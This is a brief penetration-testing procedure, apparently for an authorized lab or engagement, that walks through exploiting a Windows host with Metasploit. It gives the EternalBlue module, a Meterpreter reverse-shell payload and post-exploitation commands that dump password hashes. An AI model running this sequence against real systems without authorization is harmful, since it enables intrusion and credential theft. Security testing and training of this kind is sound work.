SOP 2: Exploitation SOP

Authorship: Cody Blahnik

Objective: To provide detailed guidance on using Metasploit for vulnerability exploitation.

Tools Needed:

- Kali Linux
- OpenVPN
- Metasploit Framework

Steps:

1. **Setup and Connect to VPN:**
   - Open a terminal on Kali Linux.
   - Connect to the target network using OpenVPN: sudo openvpn --config /path/to/vpn/config.ovpn
2. **Start Metasploit Framework:**
   - Open a terminal on Kali Linux.
   - Start Metasploit: msfconsole
3. **Search for Vulnerabilities:**
   - Use Metasploit to search for vulnerabilities on the target host: search <vulnerability_name>
4. **Exploit a Vulnerability:**
   - Select and configure an exploit: use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <your_IP> run
5. **Post-Exploitation:**
   - Interact with the target system using Meterpreter: sessions -i 1
   - Collect valuable information: sysinfo getuid hashdump
6. **Documentation:**
   - Take screenshots of the Metasploit console output.
   - Document the exploitation steps, vulnerabilities exploited, and results.

Output:

- Successful exploitation of a target host.
- Screenshots and documentation of the exploitation process.